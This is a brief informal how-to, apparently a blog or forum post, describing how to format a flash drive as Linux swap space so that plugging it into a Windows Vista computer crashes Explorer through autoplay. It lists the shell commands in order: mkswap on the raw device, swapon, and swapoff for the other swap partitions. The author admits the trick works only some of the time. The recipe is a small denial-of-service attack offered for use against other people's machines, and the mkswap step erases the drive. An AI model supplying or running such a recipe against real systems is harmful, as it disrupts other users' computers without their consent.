How to Crash Windows Vista Explorer
- Take flash drive, insert in computer running Linux
- sudo mkswap /dev/sdb (replace sdb with whatever name Linux assigns your flash drive
- sudo swapon /dev/sdb
- swapon -s
- sudo swapoff /dev/??? (Do this for all other swap partitions listed)
- Now open enough applications and/or files to get Linux to swap onto the flash drive.
Now you have what looks like a flash drive, but is really a *nix based explorer.exe killer! Plug it into a computer running Vista, Vista will try and auto detect what to do (play music files, display pictures, etc), and then totally crap out on you.
Note: Some times it works and some times it doesn't. I think you might just want to turn off the computer instead of swapoff...
